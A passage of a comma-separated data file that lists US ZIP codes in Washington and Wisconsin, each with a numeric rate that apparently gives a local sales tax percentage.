US-WA-98802,US,WA,98802,8.2,,,, US-WA-98807,US,WA,98807,8.4,,,, US-WA-98811,US,WA,98811,8.2,,,, US-WA-98812,US,WA,98812,7.7,,,, US-WA-98813,US,WA,98813,7.7,,,, US-WA-98814,US,WA,98814,7.7,,,, US-WA-98815,US,WA,98815,8.2,,,, US-WA-98816,US,WA,98816,8.2,,,, US-WA-98817,US,WA,98817,8.2,,,, US-WA-98819,US,WA,98819,7.7,,,, US-WA-98821,US,WA,98821,8.2,,,, US-WA-98822,US,WA,98822,8.2,,,, US-WA-98823,US,WA,98823,7.9,,,, US-WA-98824,US,WA,98824,7.9,,,, US-WA-98826,US,WA,98826,8.2,,,, US-WA-98827,US,WA,98827,7.7,,,, US-WA-98828,US,WA,98828,8.2,,,, US-WA-98829,US,WA,98829,7.7,,,, US-WA-98830,US,WA,98830,7.8,,,, US-WA-98831,US,WA,98831,8.2,,,, US-WA-98832,US,WA,98832,7.9,,,, US-WA-98833,US,WA,98833,7.7,,,, US-WA-98834,US,WA,98834,7.7,,,, US-WA-98836,US,WA,98836,8.2,,,, US-WA-98837,US,WA,98837,7.9,,,, US-WA-98840,US,WA,98840,7.8,,,, US-WA-98841,US,WA,98841,7.7,,,, US-WA-98843,US,WA,98843,8.2,,,, US-WA-98844,US,WA,98844,7.7,,,, US-WA-98845,US,WA,98845,7.8,,,, US-WA-98846,US,WA,98846,7.7,,,, US-WA-98847,US,WA,98847,8.2,,,, US-WA-98848,US,WA,98848,7.9,,,, US-WA-98849,US,WA,98849,7.7,,,, US-WA-98850,US,WA,98850,8.2,,,, US-WA-98851,US,WA,98851,7.9,,,, US-WA-98852,US,WA,98852,8.2,,,, US-WA-98853,US,WA,98853,7.9,,,, US-WA-98855,US,WA,98855,7.7,,,, US-WA-98856,US,WA,98856,7.8,,,, US-WA-98857,US,WA,98857,7.9,,,, US-WA-98858,US,WA,98858,8.2,,,, US-WA-98859,US,WA,98859,7.7,,,, US-WA-98860,US,WA,98860,7.9,,,, US-WA-98862,US,WA,98862,7.7,,,, US-WA-98901,US,WA,98901,8.2,,,, US-WA-98902,US,WA,98902,8.2,,,, US-WA-98903,US,WA,98903,7.9,,,, US-WA-98904,US,WA,98904,8.2,,,, US-WA-98907,US,WA,98907,8.2,,,, US-WA-98908,US,WA,98908,8.2,,,, US-WA-98909,US,WA,98909,8.2,,,, US-WA-98920,US,WA,98920,7.9,,,, US-WA-98921,US,WA,98921,7.9,,,, US-WA-98922,US,WA,98922,8,,,, US-WA-98923,US,WA,98923,7.9,,,, US-WA-98925,US,WA,98925,8,,,, US-WA-98926,US,WA,98926,8,,,, US-WA-98930,US,WA,98930,7.9,,,, US-WA-98932,US,WA,98932,7.9,,,, US-WA-98933,US,WA,98933,7.9,,,, US-WA-98934,US,WA,98934,8,,,, US-WA-98935,US,WA,98935,7.9,,,, US-WA-98936,US,WA,98936,7.9,,,, US-WA-98937,US,WA,98937,7.9,,,, US-WA-98938,US,WA,98938,7.9,,,, US-WA-98939,US,WA,98939,7.9,,,, US-WA-98940,US,WA,98940,8,,,, US-WA-98941,US,WA,98941,8,,,, US-WA-98942,US,WA,98942,7.9,,,, US-WA-98943,US,WA,98943,8,,,, US-WA-98944,US,WA,98944,7.9,,,, US-WA-98946,US,WA,98946,8,,,, US-WA-98947,US,WA,98947,7.9,,,, US-WA-98948,US,WA,98948,7.9,,,, US-WA-98950,US,WA,98950,8,,,, US-WA-98951,US,WA,98951,7.9,,,, US-WA-98952,US,WA,98952,7.9,,,, US-WA-98953,US,WA,98953,7.9,,,, US-WA-99001,US,WA,99001,8.7,,,, US-WA-99003,US,WA,99003,8.1,,,, US-WA-99004,US,WA,99004,8.7,,,, US-WA-99005,US,WA,99005,8.1,,,, US-WA-99006,US,WA,99006,8.1,,,, US-WA-99008,US,WA,99008,7.7,,,, US-WA-99009,US,WA,99009,8.1,,,, US-WA-99011,US,WA,99011,8.7,,,, US-WA-99012,US,WA,99012,8.1,,,, US-WA-99013,US,WA,99013,7.6,,,, US-WA-99014,US,WA,99014,8.7,,,, US-WA-99016,US,WA,99016,8.7,,,, US-WA-99017,US,WA,99017,7.8,,,, US-WA-99018,US,WA,99018,8.1,,,, US-WA-99019,US,WA,99019,8.7,,,, US-WA-99020,US,WA,99020,8.1,,,, US-WA-99021,US,WA,99021,8.1,,,, US-WA-99022,US,WA,99022,8.1,,,, US-WA-99023,US,WA,99023,8.1,,,, US-WA-99025,US,WA,99025,8.1,,,, US-WA-99026,US,WA,99026,8.1,,,, US-WA-99027,US,WA,99027,8.1,,,, US-WA-99029,US,WA,99029,7.7,,,, US-WA-99030,US,WA,99030,8.1,,,, US-WA-99031,US,WA,99031,8.1,,,, US-WA-99032,US,WA,99032,7.7,,,, US-WA-99033,US,WA,99033,7.8,,,, US-WA-99034,US,WA,99034,7.6,,,, US-WA-99036,US,WA,99036,8.1,,,, US-WA-99037,US,WA,99037,8.7,,,, US-WA-99039,US,WA,99039,8.1,,,, US-WA-99040,US,WA,99040,7.6,,,, US-WA-99101,US,WA,99101,7.6,,,, US-WA-99102,US,WA,99102,7.8,,,, US-WA-99103,US,WA,99103,7.7,,,, US-WA-99104,US,WA,99104,7.8,,,, US-WA-99105,US,WA,99105,7.7,,,, US-WA-99107,US,WA,99107,7.7,,,, US-WA-99109,US,WA,99109,7.6,,,, US-WA-99110,US,WA,99110,7.6,,,, US-WA-99111,US,WA,99111,7.8,,,, US-WA-99113,US,WA,99113,7.8,,,, US-WA-99114,US,WA,99114,7.6,,,, US-WA-99115,US,WA,99115,7.9,,,, US-WA-99116,US,WA,99116,7.7,,,, US-WA-99117,US,WA,99117,7.7,,,, US-WA-99118,US,WA,99118,7.7,,,, US-WA-99119,US,WA,99119,7.6,,,, US-WA-99121,US,WA,99121,7.7,,,, US-WA-99122,US,WA,99122,7.7,,,, US-WA-99123,US,WA,99123,7.9,,,, US-WA-99124,US,WA,99124,7.7,,,, US-WA-99125,US,WA,99125,7.8,,,, US-WA-99126,US,WA,99126,7.6,,,, US-WA-99128,US,WA,99128,7.8,,,, US-WA-99129,US,WA,99129,7.6,,,, US-WA-99130,US,WA,99130,7.8,,,, US-WA-99131,US,WA,99131,7.6,,,, US-WA-99133,US,WA,99133,7.9,,,, US-WA-99134,US,WA,99134,7.7,,,, US-WA-99135,US,WA,99135,7.9,,,, US-WA-99136,US,WA,99136,7.8,,,, US-WA-99137,US,WA,99137,7.6,,,, US-WA-99138,US,WA,99138,7.7,,,, US-WA-99139,US,WA,99139,7.6,,,, US-WA-99140,US,WA,99140,7.7,,,, US-WA-99141,US,WA,99141,7.6,,,, US-WA-99143,US,WA,99143,7.8,,,, US-WA-99144,US,WA,99144,7.7,,,, US-WA-99146,US,WA,99146,7.7,,,, US-WA-99147,US,WA,99147,7.7,,,, US-WA-99148,US,WA,99148,7.6,,,, US-WA-99149,US,WA,99149,7.8,,,, US-WA-99150,US,WA,99150,7.7,,,, US-WA-99151,US,WA,99151,7.6,,,, US-WA-99152,US,WA,99152,7.6,,,, US-WA-99153,US,WA,99153,7.6,,,, US-WA-99154,US,WA,99154,7.7,,,, US-WA-99155,US,WA,99155,7.7,,,, US-WA-99156,US,WA,99156,7.6,,,, US-WA-99157,US,WA,99157,7.6,,,, US-WA-99158,US,WA,99158,7.8,,,, US-WA-99159,US,WA,99159,7.7,,,, US-WA-99160,US,WA,99160,7.7,,,, US-WA-99161,US,WA,99161,7.8,,,, US-WA-99163,US,WA,99163,7.8,,,, US-WA-99164,US,WA,99164,7.8,,,, US-WA-99166,US,WA,99166,7.7,,,, US-WA-99167,US,WA,99167,7.6,,,, US-WA-99169,US,WA,99169,7.7,,,, US-WA-99170,US,WA,99170,7.8,,,, US-WA-99171,US,WA,99171,7.8,,,, US-WA-99173,US,WA,99173,7.6,,,, US-WA-99174,US,WA,99174,7.8,,,, US-WA-99176,US,WA,99176,7.8,,,, US-WA-99179,US,WA,99179,7.8,,,, US-WA-99180,US,WA,99180,7.6,,,, US-WA-99181,US,WA,99181,7.6,,,, US-WA-99185,US,WA,99185,7.7,,,, US-WA-99201,US,WA,99201,8.7,,,, US-WA-99202,US,WA,99202,8.7,,,, US-WA-99203,US,WA,99203,8.7,,,, US-WA-99204,US,WA,99204,8.7,,,, US-WA-99205,US,WA,99205,8.7,,,, US-WA-99206,US,WA,99206,8.7,,,, US-WA-99207,US,WA,99207,8.7,,,, US-WA-99208,US,WA,99208,8.7,,,, US-WA-99209,US,WA,99209,8.7,,,, US-WA-99210,US,WA,99210,8.7,,,, US-WA-99211,US,WA,99211,8.7,,,, US-WA-99212,US,WA,99212,8.7,,,, US-WA-99213,US,WA,99213,8.7,,,, US-WA-99214,US,WA,99214,8.7,,,, US-WA-99215,US,WA,99215,8.7,,,, US-WA-99216,US,WA,99216,8.7,,,, US-WA-99217,US,WA,99217,8.7,,,, US-WA-99218,US,WA,99218,8.7,,,, US-WA-99219,US,WA,99219,8.7,,,, US-WA-99220,US,WA,99220,8.7,,,, US-WA-99223,US,WA,99223,8.7,,,, US-WA-99224,US,WA,99224,8.7,,,, US-WA-99228,US,WA,99228,8.7,,,, US-WA-99251,US,WA,99251,8.7,,,, US-WA-99252,US,WA,99252,8.7,,,, US-WA-99256,US,WA,99256,8.7,,,, US-WA-99258,US,WA,99258,8.7,,,, US-WA-99260,US,WA,99260,8.7,,,, US-WA-99301,US,WA,99301,8.6,,,, US-WA-99302,US,WA,99302,8.6,,,, US-WA-99320,US,WA,99320,8.3,,,, US-WA-99321,US,WA,99321,7.9,,,, US-WA-99322,US,WA,99322,7,,,, US-WA-99323,US,WA,99323,8.1,,,, US-WA-99324,US,WA,99324,8.7,,,, US-WA-99326,US,WA,99326,8,,,, US-WA-99328,US,WA,99328,7.9,,,, US-WA-99329,US,WA,99329,8.1,,,, US-WA-99330,US,WA,99330,8,,,, US-WA-99333,US,WA,99333,7.8,,,, US-WA-99335,US,WA,99335,8,,,, US-WA-99336,US,WA,99336,8.3,,,, US-WA-99337,US,WA,99337,8.3,,,, US-WA-99338,US,WA,99338,8.3,,,, US-WA-99341,US,WA,99341,7.7,,,, US-WA-99343,US,WA,99343,8,,,, US-WA-99344,US,WA,99344,7.7,,,, US-WA-99345,US,WA,99345,7.7,,,, US-WA-99346,US,WA,99346,7.7,,,, US-WA-99347,US,WA,99347,7.5,,,, US-WA-99348,US,WA,99348,8.1,,,, US-WA-99349,US,WA,99349,7.9,,,, US-WA-99350,US,WA,99350,8.3,,,, US-WA-99352,US,WA,99352,8.3,,,, US-WA-99353,US,WA,99353,8.3,,,, US-WA-99354,US,WA,99354,8.3,,,, US-WA-99356,US,WA,99356,7,,,, US-WA-99357,US,WA,99357,7.9,,,, US-WA-99359,US,WA,99359,7.9,,,, US-WA-99360,US,WA,99360,8.1,,,, US-WA-99361,US,WA,99361,8.1,,,, US-WA-99362,US,WA,99362,8.9,,,, US-WA-99363,US,WA,99363,8.1,,,, US-WA-99371,US,WA,99371,7.7,,,, US-WA-99401,US,WA,99401,7.5,,,, US-WA-99402,US,WA,99402,7.5,,,, US-WA-99403,US,WA,99403,7.5,,,, US-WI-53001,US,WI,53001,5,,,, US-WI-53002,US,WI,53002,5.6,,,, US-WI-53003,US,WI,53003,5.5,,,, US-WI-53004,US,WI,53004,5.6,,,, US-WI-53005,US,WI,53005,5.1,,,, US-WI-53006,US,WI,53006,5.5,,,, US-WI-53007,US,WI,53007,5.1,,,, US-WI-53008,US,WI,53008,5.1,,,, US-WI-53010,US,WI,53010,5.5,,,, US-WI-53011,US,WI,53011,5,,,, US-WI-53012,US,WI,53012,5.6,,,, US-WI-53013,US,WI,53013,5,,,, US-WI-53014,US,WI,53014,5,,,, US-WI-53015,US,WI,53015,5,,,, US-WI-53016,US,WI,53016,5.5,,,, US-WI-53017,US,WI,53017,5.6,,,, US-WI-53018,US,WI,53018,5.1,,,, US-WI-53019,US,WI,53019,5.5,,,, US-WI-53020,US,WI,53020,5,,,, US-WI-53021,US,WI,53021,5.6,,,, US-WI-53022,US,WI,53022,5.6,,,, US-WI-53023,US,WI,53023,5,,,, US-WI-53024,US,WI,53024,5.6,,,, US-WI-53026,US,WI,53026,5,,,, US-WI-53027,US,WI,53027,5.6,,,, US-WI-53029,US,WI,53029,5.1,,,, US-WI-53031,US,WI,53031,5,,,, US-WI-53032,US,WI,53032,5.5,,,, US-WI-53033,US,WI,53033,5.6,,,, US-WI-53034,US,WI,53034,5.5,,,, US-WI-53035,US,WI,53035,5.5,,,, US-WI-53036,US,WI,53036,5.5,,,, US-WI-53037,US,WI,53037,5.6,,,, US-WI-53038,US,WI,53038,5.5,,,, US-WI-53039,US,WI,53039,5.5,,,, US-WI-53040,US,WI,53040,5.6,,,, US-WI-53042,US,WI,53042,5,,,, US-WI-53044,US,WI,53044,5,,,, US-WI-53045,US,WI,53045,5.1,,,, US-WI-53046,US,WI,53046,5.1,,,, US-WI-53047,US,WI,53047,5.5,,,, US-WI-53048,US,WI,53048,5.5,,,, US-WI-53049,US,WI,53049,5.5,,,, US-WI-53050,US,WI,53050,5.5,,,, US-WI-53051,US,WI,53051,5.1,,,, US-WI-53052,US,WI,53052,5.1,,,, US-WI-53056,US,WI,53056,5.1,,,, US-WI-53057,US,WI,53057,5.5,,,, US-WI-53058,US,WI,53058,5.1,,,, US-WI-53059,US,WI,53059,5.5,,,, US-WI-53060,US,WI,53060,5.6,,,, US-WI-53061,US,WI,53061,5,,,, US-WI-53062,US,WI,53062,5,,,, US-WI-53063,US,WI,53063,5,,,, US-WI-53064,US,WI,53064,5.1,,,, US-WI-53065,US,WI,53065,5.5,,,, US-WI-53066,US,WI,53066,5.1,,,, US-WI-53069,US,WI,53069,5.1,,,, US-WI-53070,US,WI,53070,5,,,, US-WI-53072,US,WI,53072,5.1,,,, US-WI-53073,US,WI,53073,5,,,, US-WI-53074,US,WI,53074,5.6,,,, US-WI-53075,US,WI,53075,5,,,, US-WI-53076,US,WI,53076,5.6,,,, US-WI-53078,US,WI,53078,5.5,,,, US-WI-53079,US,WI,53079,5.5,,,, US-WI-53080,US,WI,53080,5.6,,,, US-WI-53081,US,WI,53081,5,,,, US-WI-53082,US,WI,53082,5,,,, US-WI-53083,US,WI,53083,5,,,, US-WI-53085,US,WI,53085,5,,,, US-WI-53086,US,WI,53086,5.6,,,, US-WI-53088,US,WI,53088,5,,,, US-WI-53089,US,WI,53089,5.1,,,, US-WI-53090,US,WI,53090,5.6,,,, US-WI-53091,US,WI,53091,5.5,,,, US-WI-53092,US,WI,53092,5.6,,,, US-WI-53093,US,WI,53093,5,,,, US-WI-53094,US,WI,53094,5.5,,,, US-WI-53095,US,WI,53095,5.6,,,, US-WI-53097,US,WI,53097,5.6,,,, US-WI-53098,US,WI,53098,5.5,,,, US-WI-53099,US,WI,53099,5.5,,,, US-WI-53101,US,WI,53101,5.5,,,, US-WI-53102,US,WI,53102,5.5,,,, US-WI-53103,US,WI,53103,5.1,,,, US-WI-53104,US,WI,53104,5.5,,,, US-WI-53105,US,WI,53105,5.1,,,, US-WI-53108,US,WI,53108,5.1,,,, US-WI-53109,US,WI,53109,5.5,,,, US-WI-53110,US,WI,53110,5.6,,,, US-WI-53114,US,WI,53114,5.5,,,, US-WI-53115,US,WI,53115,5.5,,,, US-WI-53118,US,WI,53118,5.1,,,, US-WI-53119,US,WI,53119,5.1,,,, US-WI-53120,US,WI,53120,5.5,,,, US-WI-53121,US,WI,53121,5.5,,,, US-WI-53122,US,WI,53122,5.1,,,, US-WI-53125,US,WI,53125,5.5,,,, US-WI-53126,US,WI,53126,5.1,,,, US-WI-53127,US,WI,53127,5.1,,,, US-WI-53128,US,WI,53128,5.5,,,, US-WI-53129,US,WI,53129,5.6,,,, US-WI-53130,US,WI,53130,5.6,,,, US-WI-53132,US,WI,53132,5.6,,,, US-WI-53137,US,WI,53137,5.5,,,, US-WI-53138,US,WI,53138,5.5,,,, US-WI-53139,US,WI,53139,5.1,,,, US-WI-53140,US,WI,53140,5.5,,,, US-WI-53141,US,WI,53141,5.5,,,, US-WI-53142,US,WI,53142,5.5,,,, US-WI-53143,US,WI,53143,5.5,,,, US-WI-53144,US,WI,53144,5.5,,,, US-WI-53146,US,WI,53146,5.1,,,, US-WI-53147,US,WI,53147,5.5,,,, US-WI-53148,US,WI,53148,5.5,,,, US-WI-53149,US,WI,53149,5.1,,,, US-WI-53150,US,WI,53150,5.1,,,, US-WI-53151,US,WI,53151,5.1,,,, US-WI-53152,US,WI,53152,5.5,,,, US-WI-53153,US,WI,53153,5.1,,,, US-WI-53154,US,WI,53154,5.6,,,, US-WI-53156,US,WI,53156,5.5,,,, US-WI-53157,US,WI,53157,5.5,,,, US-WI-53158,US,WI,53158,5.5,,,, US-WI-53159,US,WI,53159,5.5,,,, US-WI-53167,US,WI,53167,5.1,,,, US-WI-53168,US,WI,53168,5.5,,,, US-WI-53170,US,WI,53170,5.5,,,, US-WI-53171,US,WI,53171,5.5,,,, US-WI-53172,US,WI,53172,5.6,,,, US-WI-53176,US,WI,53176,5.5,,,, US-WI-53177,US,WI,53177,5.1,,,, US-WI-53178,US,WI,53178,5.5,,,, US-WI-53179,US,WI,53179,5.5,,,, US-WI-53181,US,WI,53181,5.5,,,, US-WI-53182,US,WI,53182,5.1,,,, US-WI-53183,US,WI,53183,5.1,,,, US-WI-53184,US,WI,53184,5.5,,,, US-WI-53185,US,WI,53185,5.1,,,, US-WI-53186,US,WI,53186,5.1,,,, US-WI-53187,US,WI,53187,5.1,,,, US-WI-53188,US,WI,53188,5.1,,,, US-WI-53189,US,WI,53189,5.1,,,, US-WI-53190,US,WI,53190,5.5,,,, US-WI-53191,US,WI,53191,5.5,,,, US-WI-53192,US,WI,53192,5.5,,,, US-WI-53194,US,WI,53194,5.5,,,, US-WI-53195,US,WI,53195,5.5,,,, US-WI-53201,US,WI,53201,5.6,,,, US-WI-53202,US,WI,53202,5.6,,,, US-WI-53203,US,WI,53203,5.6,,,, US-WI-53204,US,WI,53204,5.6,,,, US-WI-53205,US,WI,53205,5.6,,,, US-WI-53206,US,WI,53206,5.6,,,, US-WI-53207,US,WI,53207,5.6,,,, US-WI-53208,US,WI,53208,5.6,,,, US-WI-53209,US,WI,53209,5.6,,,, US-WI-53210,US,WI,53210,5.6,,,, US-WI-53211,US,WI,53211,5.6,,,, US-WI-53212,US,WI,53212,5.6,,,, US-WI-53213,US,WI,53213,5.6,,,, US-WI-53214,US,WI,53214,5.6,,,, US-WI-53215,US,WI,53215,5.6,,,, US-WI-53216,US,WI,53216,5.6,,,, US-WI-53217,US,WI,53217,5.6,,,, US-WI-53218,US,WI,53218,5.6,,,, US-WI-53219,US,WI,53219,5.6,,,, US-WI-53220,US,WI,53220,5.6,,,, US-WI-53221,US,WI,53221,5.6,,,, US-WI-53222,US,WI,53222,5.6,,,, US-WI-53223,US,WI,53223,5.6,,,, US-WI-53224,US,WI,53224,5.6,,,, US-WI-53225,US,WI,53225,5.6,,,, US-WI-53226,US,WI,53226,5.6,,,, US-WI-53227,US,WI,53227,5.6,,,, US-WI-53228,US,WI,53228,5.6,,,, US-WI-53233,US,WI,53233,5.6,,,, US-WI-53234,US,WI,53234,5.6,,,, US-WI-53235,US,WI,53235,5.6,,,, US-WI-53237,US,WI,53237,5.6,,,, US-WI-53259,US,WI,53259,5.6,,,, US-WI-53263,US,WI,53263,5.6,,,, US-WI-53267,US,WI,53267,5.6,,,, US-WI-53268,US,WI,53268,5.6,,,, US-WI-53274,US,WI,53274,5.6,,,, US-WI-53278,US,WI,53278,5.6,,,, US-WI-53288,US,WI,53288,5.6,,,, US-WI-53290,US,WI,53290,5.6,,,, US-WI-53293,US,WI,53293,5.6,,,, US-WI-53295,US,WI,53295,5.6,,,, US-WI-53401,US,WI,53401,5.1,,,, US-WI-53402,US,WI,53402,5.1,,,, US-WI-53403,US,WI,53403,5.1,,,, US-WI-53404,US,WI,53404,5.1,,,, US-WI-53405,US,WI,53405,5.1,,,, US-WI-53406,US,WI,53406,5.1,,,, US-WI-53407,US,WI,53407,5.1,,,, US-WI-53408,US,WI,53408,5.1,,,, US-WI-53501,US,WI,53501,5.5,,,, US-WI-53502,US,WI,53502,5.5,,,, US-WI-53503,US,WI,53503,5.5,,,, US-WI-53504,US,WI,53504,5.5,,,, US-WI-53505,US,WI,53505,5.5,,,, US-WI-53506,US,WI,53506,5.5,,,, US-WI-53507,US,WI,53507,5.5,,,, US-WI-53508,US,WI,53508,5.5,,,, US-WI-53510,US,WI,53510,5.5,,,, US-WI-53511,US,WI,53511,5.5,,,, US-WI-53512,US,WI,53512,5.5,,,, US-WI-53515,US,WI,53515,5.5,,,, US-WI-53516,US,WI,53516,5.5,,,, US-WI-53517,US,WI,53517,5.5,,,, US-WI-53518,US,WI,53518,5.5,,,, US-WI-53520,US,WI,53520,5.5,,,, US-WI-53521,US,WI,53521,5.5,,,, US-WI-53522,US,WI,53522,5.5,,,, US-WI-53523,US,WI,53523,5.5,,,, US-WI-53525,US,WI,53525,5.5,,,, US-WI-53526,US,WI,53526,5.5,,,, US-WI-53527,US,WI,53527,5.5,,,, US-WI-53528,US,WI,53528,5.5,,,, US-WI-53529,US,WI,53529,5.5,,,, US-WI-53530,US,WI,53530,5.5,,,, US-WI-53531,US,WI,53531,5.5,,,, US-WI-53532,US,WI,53532,5.5,,,, US-WI-53533,US,WI,53533,5.5,,,, US-WI-53534,US,WI,53534,5.5,,,, US-WI-53535,US,WI,53535,5.5,,,, US-WI-53536,US,WI,53536,5.5,,,, US-WI-53537,US,WI,53537,5.5,,,, US-WI-53538,US,WI,53538,5.5,,,, US-WI-53540,US,WI,53540,5.5,,,, US-WI-53541,US,WI,53541,5.5,,,, US-WI-53542,US,WI,53542,5.5,,,, US-WI-53543,US,WI,53543,5.5,,,, US-WI-53544,US,WI,53544,5.5,,,, US-WI-53545,US,WI,53545,5.5,,,, US-WI-53546,US,WI,53546,5.5,,,, US-WI-53547,US,WI,53547,5.5,,,, US-WI-53548,US,WI,53548,5.5,,,, US-WI-53549,US,WI,53549,5.5,,,, US-WI-53550,US,WI,53550,5.5,,,, US-WI-53551,US,WI,53551,5.5,,,, US-WI-53553,US,WI,53553,5.5,,,, US-WI-53554,US,WI,53554,5.5,,,, US-WI-53555,US,WI,53555,5.5,,,, US-WI-53556,US,WI,53556,5.5,,,, US-WI-53557,US,WI,53557,5.5,,,, US-WI-53558,US,WI,53558,5.5,,,, US-WI-53559,US,WI,53559,5.5,,,, US-WI-53560,US,WI,53560,5.5,,,, US-WI-53561,US,WI,53561,5.5,,,, US-WI-53562,US,WI,53562,5.5,,,, US-WI-53563,US,WI,53563,5.5,,,, US-WI-53565,US,WI,53565,5.5,,,, US-WI-53566,US,WI,53566,5.5,,,, US-WI-53569,US,WI,53569,5.5,,,, US-WI-53570,US,WI,53570,5.5,,,, US-WI-53571,US,WI,53571,5.5,,,, US-WI-53572,US,WI,53572,5.5,,,, US-WI-53573,US,WI,53573,5.5,,,, US-WI-53574,US,WI,53574,5.5,,,, US-WI-53575,US,WI,53575,5.5,,,, US-WI-53576,US,WI,53576,5.5,,,, US-WI-53577,US,WI,53577,5.5,,,, US-WI-53578,US,WI,53578,5.5,,,, US-WI-53579,US,WI,53579,5.5,,,, US-WI-53580,US,WI,53580,5.5,,,, US-WI-53581,US,WI,53581,5.5,,,, US-WI-53582,US,WI,53582,5.5,,,, US-WI-53583,US,WI,53583,5.5,,,, US-WI-53584,US,WI,53584,5.5,,,, US-WI-53585,US,WI,53585,5.5,,,, US-WI-53586,US,WI,53586,5.5,,,, US-WI-53587,US,WI,53587,5.5,,,, US-WI-53588,US,WI,53588,5.5,,,, US-WI-53589,US,WI,53589,5.5,,,, US-WI-53590,US,WI,53590,5.5,,,, US-WI-53593,US,WI,53593,5.5,,,, US-WI-53594,US,WI,53594,5.5,,,, US-WI-53595,US,WI,53595,5.5,,,, US-WI-53596,US,WI,53596,5.5,,,, US-WI-53597,US,WI,53597,5.5,,,, US-WI-53598,US,WI,53598,5.5,,,, US-WI-53599,US,WI,53599,5.5,,,, US-WI-53701,US,WI,53701,5.5,,,, US-WI-53702,US,WI,53702,5.5,,,, US-WI-53703,US,WI,53703,5.5,,,, US-WI-53704,US,WI,53704,5.5,,,, US-WI-53705,US,WI,53705,5.5,,,, US-WI-53706,US,WI,53706,5.5,,,, US-WI-53707,US,WI,53707,5.5,,,, US-WI-53708,US,WI,53708,5.5,,,, US-WI-53711,US,WI,53711,5.5,,,, US-WI-53713,US,WI,53713,5.5,,,, US-WI-53714,US,WI,53714,5.5,,,, US-WI-53715,US,WI,53715,5.5,,,, US-WI-53716,US,WI,53716,5.5,,,, US-WI-53717,US,WI,53717,5.5,,,, US-WI-53718,US,WI,53718,5.5,,,, US-WI-53719,US,WI,53719,5.5,,,, US-WI-53725,US,WI,53725,5.5,,,, US-WI-53726,US,WI,53726,5.5,,,, US-WI-53744,US,WI,53744,5.5,,,, US-WI-53774,US,WI,53774,5.5,,,, US-WI-53777,US,WI,53777,5.5,,,, US-WI-53778,US,WI,53778,5.5,,,, US-WI-53779,US,WI,53779,5.5,,,, US-WI-53782,US,WI,53782,5.5,,,, US-WI-53783,US,WI,53783,5.5,,,, US-WI-53784,US,WI,53784,5.5,,,, US-WI-53785,US,WI,53785,5.5,,,, US-WI-53786,US,WI,53786,5.5,,,, US-WI-53788,US,WI,53788,5.5,,,, US-WI-53789,US,WI,53789,5.5,,,, US-WI-53790,US,WI,53790,5.5,,,, US-WI-53791,US,WI,53791,5.5,,,, US-WI-53792,US,WI,53792,5.5,,,, US-WI-53793,US,WI,53793,5.5,,,, US-WI-53794,US,WI,53794,5.5,,,, US-WI-53801,US,WI,53801,5.5,,,, US-WI-53802,US,WI,53802,5.5,,,, US-WI-53803,US,WI,53803,5.5,,,, US-WI-53804,US,WI,53804,5.5,,,, US-WI-53805,US,WI,53805,5.5,,,, US-WI-53806,US,WI,53806,5.5,,,, US-WI-53807,US,WI,53807,5.5,,,, US-WI-53808,US,WI,53808,5.5,,,, US-WI-53809,US,WI,53809,5.5,,,, US-WI-53810,US,WI,53810,5.5,,,, US-WI-53811,US,WI,53811,5.5,,,, US-WI-53812,US,WI,53812,5.5,,,, US-WI-53813,US,WI,53813,5.5,,,, US-WI-53816,US,WI,53816,5.5,,,, US-WI-53817,US,WI,53817,5.5,,,, US-WI-53818,US,WI,53818,5.5,,,, US-WI-53820,US,WI,53820,5.5,,,, US-WI-53821,US,WI,53821,5.5,,,, US-WI-53824,US,WI,53824,5.5,,,, US-WI-53825,US,WI,53825,5.5,,,, US-WI-53826,US,WI,53826,5.5,,,, US-WI-53827,US,WI,53827,5.5,,,, US-WI-53901,US,WI,53901,5.5,,,, US-WI-53910,US,WI,53910,5.5,,,, US-WI-53911,US,WI,53911,5.5,,,, US-WI-53913,US,WI,53913,5.5,,,, US-WI-53916,US,WI,53916,5.5,,,, US-WI-53919,US,WI,53919,5.5,,,, US-WI-53920,US,WI,53920,5.5,,,, US-WI-53922,US,WI,53922,5.5,,,, US-WI-53923,US,WI,53923,5.5,,,, US-WI-53924,US,WI,53924,5.5,,,, US-WI-53925,US,WI,53925,5.5,,,, US-WI-53926,US,WI,53926,5.5,,,, US-WI-53927,US,WI,53927,5.5,,,, US-WI-53928,US,WI,53928,5.5,,,, US-WI-53929,US,WI,53929,5.5,,,, US-WI-53930,US,WI,53930,5.5,,,, US-WI-53931,US,WI,53931,5.5,,,, US-WI-53932,US,WI,53932,5.5,,,, US-WI-53933,US,WI,53933,5.5,,,, US-WI-53934,US,WI,53934,5.5,,,, US-WI-53935,US,WI,53935,5.5,,,, US-WI-53936,US,WI,53936,5.5,,,, US-WI-53937,US,WI,53937,5.5,,,, US-WI-53939,US,WI,53939,5.5,,,, US-WI-53940,US,WI,53940,5.5,,,, US-WI-53941,US,WI,53941,5.5,,,, US-WI-53942,US,WI,53942,5.5,,,, US-WI-53943,US,WI,53943,5.5,,,, US-WI-53944,US,WI,53944,5.5,,,, US-WI-53946,US,WI,53946,5.5,,,, US-WI-53947,US,WI,53947,5.5,,,, US-WI-53948,US,WI,53948,5.5,,,, US-WI-53949,US,WI,53949,5.5,,,, US-WI-53950,US,WI,53950,5.5,,,, US-WI-53951,US,WI,53951,5.5,,,, US-WI-53952,US,WI,53952,5.5,,,, US-WI-53953,US,WI,53953,5.5,,,, US-WI-53954,US,WI,53954,5.5,,,, US-WI-53955,US,WI,53955,5.5,,,, US-WI-53956,US,WI,53956,5.5,,,, US-WI-53957,US,WI,53957,5.5,,,, US-WI-53958,US,WI,53958,5.5,,,, US-WI-53959,US,WI,53959,5.5,,,, US-WI-53960,US,WI,53960,5.5,,,, US-WI-53961,US,WI,53961,5.5,,,, US-WI-53962,US,WI,53962,5.5,,,, US-WI-53963,US,WI,53963,5.5,,,, US-WI-53964,US,WI,53964,5.5,,,, US-WI-53965,US,WI,53965,5.5,,,, US-WI-53968,US,WI,53968,5.5,,,, US-WI-53969,US,WI,53969,5.5,,,, US-WI-54001,US,WI,54001,5.5,,,, US-WI-54002,US,WI,54002,5.5,,,, US-WI-54003,US,WI,54003,5.5,,,, US-WI-54004,US,WI,54004,5.5,,,, US-WI-54005,US,WI,54005,5.5,,,, US-WI-54006,US,WI,54006,5.5,,,, US-WI-54007,US,WI,54007,5.5,,,, US-WI-54009,US,WI,54009,5.5,,,, US-WI-54010,US,WI,54010,5.5,,,, US-WI-54011,US,WI,54011,5.5,,,, US-WI-54013,US,WI,54013,5.5,,,, US-WI-54014,US,WI,54014,5.5,,,, US-WI-54015,US,WI,54015,5.5,,,, US-WI-54016,US,WI,54016,5.5,,,, US-WI-54017,US,WI,54017,5.5,,,, US-WI-54020,US,WI,54020,5.5,,,, 